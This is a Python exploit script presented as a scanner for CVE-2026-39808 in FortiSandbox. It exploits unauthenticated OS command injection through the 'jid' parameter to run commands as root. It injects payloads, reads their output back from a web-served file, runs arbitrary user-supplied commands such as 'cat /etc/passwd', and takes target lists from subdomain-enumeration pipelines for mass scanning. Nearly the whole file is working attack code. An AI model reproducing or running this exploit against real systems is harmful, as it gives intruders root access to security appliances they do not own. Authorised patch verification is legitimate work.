1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
| #!/usr/bin/env python3
"""
╔══════════════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated OS Command Injection as root ║
║ Author: mitsec | @ynsmroztas ║
╚══════════════════════════════════════════════════════════════════╝
FortiSandbox < 4.4.9 — /fortisandbox/job-detail/tracer-behavior
The 'jid' parameter is vulnerable to OS command injection.
No authentication required. Commands execute as root.
Usage:
python3 fortisandbox_rce.py -u https://target.com
python3 fortisandbox_rce.py -u https://target.com --cmd "cat /etc/passwd"
python3 fortisandbox_rce.py --stdin
subfinder -d target.com -silent | httpx -silent | python3 fortisandbox_rce.py --stdin
python3 fortisandbox_rce.py -u https://target.com --proxy http://127.0.0.1:8080 -o report.json
Reference:
https://fortiguard.fortinet.com/psirt/FG-IR-25-325
"""
import urllib.request
import urllib.error
import urllib.parse
import ssl
import json
import sys
import os
import signal
import argparse
import time
import re
import random
import string
from datetime import datetime, timezone
# ═══════════════════════════════════════════════════════════════════
# COLORS
# ═══════════════════════════════════════════════════════════════════
class C:
RST = "\033[0m"; BOLD = "\033[1m"; DIM = "\033[2m"
R = "\033[91m"; G = "\033[92m"; Y = "\033[93m"
B = "\033[94m"; M = "\033[95m"; CY = "\033[96m"
W = "\033[97m"; BG_R = "\033[41m"; BG_G = "\033[42m"
if os.environ.get("NO_COLOR") or not sys.stderr.isatty():
for a in [a for a in dir(C) if not a.startswith("_")]:
setattr(C, a, "")
# ═══════════════════════════════════════════════════════════════════
# LOGGING
# ═══════════════════════════════════════════════════════════════════
def banner():
print(f"""
{C.R}{C.BOLD}╔══════════════════════════════════════════════════════════╗
║ FortiSandbox RCE Scanner v1.0 — CVE-2026-39808 ║
║ Unauthenticated Command Injection (root) ║
╚══════════════════════════════════════════════════════════╝{C.RST}
{C.DIM}mitsec | @ynsmroztas{C.RST}
""", file=sys.stderr)
def log(m): print(f" {C.B}▸{C.RST} {m}", file=sys.stderr)
def ok(m): print(f" {C.G}✓{C.RST} {m}", file=sys.stderr)
def warn(m): print(f" {C.Y}⚠{C.RST} {m}", file=sys.stderr)
def fail(m): print(f" {C.R}✗{C.RST} {m}", file=sys.stderr)
def critical(m): print(f" {C.BG_R}{C.W}{C.BOLD} CRITICAL {C.RST} {C.R}{C.BOLD}{m}{C.RST}", file=sys.stderr)
def section(title):
w = 58
print(f"\n {C.R}┌{'─'*w}┐{C.RST}", file=sys.stderr)
print(f" {C.R}│{C.BOLD} {title:<{w-1}}{C.RST}{C.R}│{C.RST}", file=sys.stderr)
print(f" {C.R}└{'─'*w}┘{C.RST}", file=sys.stderr)
# ═══════════════════════════════════════════════════════════════════
# GRACEFUL SHUTDOWN
# ═══════════════════════════════════════════════════════════════════
shutdown = False
def sig_handler(s, f):
global shutdown; shutdown = True
warn("Shutting down...")
signal.signal(signal.SIGINT, sig_handler)
# ═══════════════════════════════════════════════════════════════════
# HTTP ENGINE
# ═══════════════════════════════════════════════════════════════════
CTX = ssl.create_default_context()
CTX.check_hostname = False
CTX.verify_mode = ssl.CERT_NONE
def http_get(url, proxy=None, timeout=15):
"""GET request. Returns (status, headers, body)."""
req = urllib.request.Request(url, headers={
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36",
"Accept": "*/*",
"Connection": "close",
})
if proxy:
handler = urllib.request.ProxyHandler({"http": proxy, "https": proxy})
opener = urllib.request.build_opener(handler, urllib.request.HTTPSHandler(context=CTX))
else:
opener = urllib.request.build_opener(urllib.request.HTTPSHandler(context=CTX))
try:
resp = opener.open(req, timeout=timeout)
hdrs = {k.lower(): v for k, v in resp.getheaders()}
body = resp.read().decode("utf-8", errors="replace")
return resp.status, hdrs, body
except urllib.error.HTTPError as e:
hdrs = {k.lower(): v for k, v in e.headers.items()}
body = e.read().decode("utf-8", errors="replace")
return e.code, hdrs, body
except Exception as e:
return 0, {}, str(e)
# ═══════════════════════════════════════════════════════════════════
# SCANNER
# ═══════════════════════════════════════════════════════════════════
VULN_PATH = "/fortisandbox/job-detail/tracer-behavior"
OUTPUT_PATH = "/ng/out.txt"
# False positive signatures — if ANY of these are in the response, it's NOT command output
FP_SIGNATURES = [
"<title>FortiSandbox</title>",
"<title>FortiSandbox -",
"<!DOCTYPE html>",
"<html lang=",
"angular",
"favicon.ico",
"font-face{font-family",
"Please login",
"<base href=",
"<meta charset",
]
def gen_canary():
"""Random canary string for detection."""
return "mitsec_" + "".join(random.choices(string.ascii_lowercase + string.digits, k=8))
def normalize_base(url):
"""Strip /ng, trailing slashes, and normalize base URL."""
base = url.rstrip("/")
# Remove /ng suffix — it's the Angular frontend, not the API root
if base.endswith("/ng"):
base = base[:-3]
return base
def is_html_page(body):
"""Check if response is an HTML page (not command output)."""
body_lower = body.strip().lower()
# Command output is plain text, never starts with HTML tags
if body_lower.startswith("<!doctype") or body_lower.startswith("<html"):
return True
if any(sig.lower() in body_lower for sig in FP_SIGNATURES):
return True
return False
def is_valid_id_output(body):
"""Strictly validate 'id' command output: uid=N(user) gid=N(group)."""
body = body.strip()
# Must match uid=NUMBER(NAME) pattern
if re.search(r'uid=\d+\(\w+\)', body):
# Extra check: must NOT be HTML
if not is_html_page(body):
# Sanity: id output is short (<500 bytes typically)
if len(body) < 1000:
return True
return False
def is_valid_canary(body, canary):
"""Strictly validate canary — must be in clean plain text, not inside HTML."""
body = body.strip()
if canary not in body:
return False
if is_html_page(body):
return False
# Canary should be the primary content (maybe with a newline)
if len(body) < len(canary) + 50:
return True
# If body is longer, canary must still not be inside HTML tags
if "<" in body and ">" in body:
return False
return True
def scan_target(base_url, cmd=None, proxy=None, timeout=15, verify_only=False):
"""Scan a single target for CVE-2026-39808."""
base = normalize_base(base_url)
result = {
"target": base,
"vulnerable": False,
"details": {},
"timestamp": datetime.now(timezone.utc).isoformat(),
}
# ─── Step 1: Check if target is FortiSandbox ──────────────
log(f"Checking if target is FortiSandbox...")
root_status, root_hdrs, root_body = http_get(base + "/", proxy=proxy, timeout=timeout)
if root_status == 0:
fail(f"Connection failed: {root_body}")
result["details"]["error"] = root_body
return result
is_fortisandbox = (
"FortiSandbox" in root_body or
"fortisandbox" in root_body.lower() or
"fortisandbox" in root_hdrs.get("server", "").lower()
)
if is_fortisandbox:
ok(f"FortiSandbox detected!")
else:
warn(f"Target may not be FortiSandbox (checking anyway...)")
result["details"]["is_fortisandbox"] = is_fortisandbox
result["details"]["server"] = root_hdrs.get("server", "unknown")
# ─── Step 2: Check if vulnerable endpoint exists ──────────
log(f"Checking endpoint: {VULN_PATH}")
check_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": "1"})
status, hdrs, body = http_get(check_url, proxy=proxy, timeout=timeout)
if status == 404:
fail(f"Endpoint returned 404 — not vulnerable or patched")
result["details"]["endpoint_status"] = 404
return result
if status == 0:
fail(f"Endpoint unreachable")
return result
# Check if it returns the login page (Angular SPA catch-all = NOT the real endpoint)
if is_html_page(body) and "FortiSandbox" in body:
# Could be SPA catch-all — endpoint might not exist
# Check content-type
ct = hdrs.get("content-type", "")
if "text/html" in ct:
warn(f"Endpoint returned HTML page (likely SPA catch-all, not real API)")
result["details"]["endpoint_note"] = "SPA catch-all, endpoint may not exist"
# Don't return yet — still try injection, but be extra strict on verification
log(f"Endpoint status: {status} | Content-Type: {hdrs.get('content-type', 'N/A')}")
result["details"]["endpoint_status"] = status
# ─── Step 3: Inject canary via command injection ──────────
canary = gen_canary()
log(f"Injecting canary: {canary}")
payload = f"|({canary} > /web/ng/out.txt)|"
# Use echo to write the canary
payload = f"|(echo {canary} > /web/ng/out.txt)|"
inject_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": payload})
status_inj, _, _ = http_get(inject_url, proxy=proxy, timeout=timeout)
result["details"]["inject_status"] = status_inj
if status_inj == 0:
fail(f"Injection request failed")
return result
time.sleep(1.5)
# ─── Step 4: Read output and verify canary ────────────────
output_url = base + OUTPUT_PATH
log(f"Reading output: {output_url}")
status_out, out_hdrs, body_out = http_get(output_url, proxy=proxy, timeout=timeout)
result["details"]["output_status"] = status_out
out_ct = out_hdrs.get("content-type", "")
if status_out != 200:
warn(f"Output file returned {status_out} — command may not have executed")
result["details"]["output_note"] = f"HTTP {status_out}"
return result
# ─── FALSE POSITIVE CHECKS ───────────────────────────────
# Check 1: Is the response an HTML page?
if is_html_page(body_out):
warn(f"Output URL returns HTML page — this is the Angular SPA, NOT command output")
log(f"Content-Type: {out_ct}")
log(f"This is a false positive — /ng/out.txt serves the SPA index.html")
result["details"]["false_positive"] = True
result["details"]["reason"] = "Output URL serves Angular SPA HTML, not command output"
result["vulnerable"] = False
return result
# Check 2: Content-Type should be text/plain for real command output
if "text/html" in out_ct:
warn(f"Output Content-Type is text/html — likely not command output")
result["details"]["false_positive"] = True
result["details"]["reason"] = f"Content-Type: {out_ct}"
result["vulnerable"] = False
return result
# Check 3: Verify canary strictly
if is_valid_canary(body_out, canary):
result["vulnerable"] = True
critical(f"🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!")
critical(f"Target: {base}")
ok(f"Canary '{canary}' verified in output (clean plain text)")
result["details"]["canary"] = canary
result["details"]["verification"] = "canary_match"
# ─── Step 5: Execute user command ─────────────────────
if cmd and not verify_only:
section(f"Executing: {cmd}")
cmd_payload = f"|({cmd} > /web/ng/out.txt)|"
cmd_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": cmd_payload})
http_get(cmd_url, proxy=proxy, timeout=timeout)
time.sleep(1.5)
_, _, cmd_output = http_get(output_url, proxy=proxy, timeout=timeout)
if cmd_output and not is_html_page(cmd_output):
result["details"]["command"] = cmd
result["details"]["output"] = cmd_output.strip()
# Pretty print
print(f"\n {C.CY}{'─'*58}{C.RST}", file=sys.stderr)
print(f" {C.CY}{C.BOLD} Command Output: {cmd}{C.RST}", file=sys.stderr)
print(f" {C.CY}{'─'*58}{C.RST}", file=sys.stderr)
for line in cmd_output.strip().split("\n"):
print(f" {C.G}│{C.RST} {line}", file=sys.stderr)
print(f" {C.CY}{'─'*58}{C.RST}\n", file=sys.stderr)
else:
warn("Command executed but output may not be readable")
# Cleanup
cleanup_payload = "|(echo cleaned > /web/ng/out.txt)|"
cleanup_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": cleanup_payload})
http_get(cleanup_url, proxy=proxy, timeout=timeout)
ok("Output file cleaned up")
else:
# Canary not found — try id command as secondary check
log("Canary not found. Trying 'id' command as fallback...")
id_payload = "|(id > /web/ng/out.txt)|"
id_url = base + VULN_PATH + "?" + urllib.parse.urlencode({"jid": id_payload})
http_get(id_url, proxy=proxy, timeout=timeout)
time.sleep(1.5)
_, id_hdrs, id_output = http_get(output_url, proxy=proxy, timeout=timeout)
# STRICT validation for id output
if is_valid_id_output(id_output):
result["vulnerable"] = True
critical(f"🔥 VULNERABLE — CVE-2026-39808 CONFIRMED!")
critical(f"Target: {base}")
ok(f"id output: {id_output.strip()}")
result["details"]["id_output"] = id_output.strip()
result["details"]["verification"] = "id_command"
elif is_html_page(id_output):
warn(f"Output is HTML page — NOT vulnerable (SPA catch-all)")
result["details"]["false_positive"] = True
else:
warn(f"Could not confirm vulnerability")
log(f"Output ({len(id_output)} bytes): {id_output[:100]}")
if not result["vulnerable"]:
log(f"Target does not appear vulnerable")
return result
# ═══════════════════════════════════════════════════════════════════
# MAIN
# ═══════════════════════════════════════════════════════════════════
def main():
parser = argparse.ArgumentParser(
description="FortiSandbox RCE Scanner — CVE-2026-39808",
formatter_class=argparse.RawDescriptionHelpFormatter,
epilog="""Examples:
%(prog)s -u https://fortisandbox.target.com
%(prog)s -u https://target.com --cmd "id"
%(prog)s -u https://target.com --cmd "cat /etc/passwd" --proxy http://127.0.0.1:8080
subfinder -d target.com -silent | httpx -silent | %(prog)s --stdin
%(prog)s -u https://target.com --verify-only -o report.json
"""
)
parser.add_argument("-u", "--url", help="Target URL")
parser.add_argument("--stdin", action="store_true", help="Read URLs from stdin (pipeline mode)")
parser.add_argument("--cmd", default="id", help="OS command to execute (default: id)")
parser.add_argument("--verify-only", action="store_true", help="Only verify vulnerability, don't execute --cmd")
parser.add_argument("--proxy", help="HTTP proxy (e.g., http://127.0.0.1:8080)")
parser.add_argument("--timeout", type=int, default=15, help="HTTP timeout in seconds (default: 15)")
parser.add_argument("--rate-limit", type=int, default=0, help="Delay between targets in ms (default: 0)")
parser.add_argument("-o", "--output", help="Output JSON report file")
parser.add_argument("--no-banner", action="store_true", help="Suppress banner")
args = parser.parse_args()
if not args.no_banner:
banner()
# Collect URLs
urls = []
if args.stdin or (not args.url and not sys.stdin.isatty()):
for line in sys.stdin:
line = line.strip()
if line and (line.startswith("http://") or line.startswith("https://")):
urls.append(line)
if urls:
log(f"Loaded {len(urls)} targets from stdin")
elif args.url:
urls.append(args.url)
else:
parser.print_help()
sys.exit(1)
all_results = []
vuln_count = 0
for i, url in enumerate(urls):
if shutdown:
break
if len(urls) > 1:
section(f"[{i+1}/{len(urls)}] {url}")
else:
section(f"Target: {url}")
result = scan_target(
base_url=url,
cmd=args.cmd,
proxy=args.proxy,
timeout=args.timeout,
verify_only=args.verify_only,
)
all_results.append(result)
if result["vulnerable"]:
vuln_count += 1
# Pipeline output — vulnerable URL to stdout
print(url)
sys.stdout.flush()
if args.rate_limit > 0 and i < len(urls) - 1:
time.sleep(args.rate_limit / 1000.0)
# ─── Final Summary ────────────────────────────────────────
section("Scan Complete")
log(f"Targets scanned: {len(all_results)}")
if vuln_count > 0:
critical(f"Vulnerable: {vuln_count}/{len(all_results)}")
else:
ok(f"No vulnerable targets found ({len(all_results)} tested)")
# JSON report
if args.output:
report = {
"scanner": "fortisandbox_rce",
"version": "1.0",
"cve": "CVE-2026-39808",
"scan_date": datetime.now(timezone.utc).isoformat(),
"total_targets": len(all_results),
"vulnerable": vuln_count,
"results": all_results,
}
with open(args.output, "w") as f:
json.dump(report, f, indent=2, ensure_ascii=False)
ok(f"Report saved → {args.output}")
if __name__ == "__main__":
main()
|
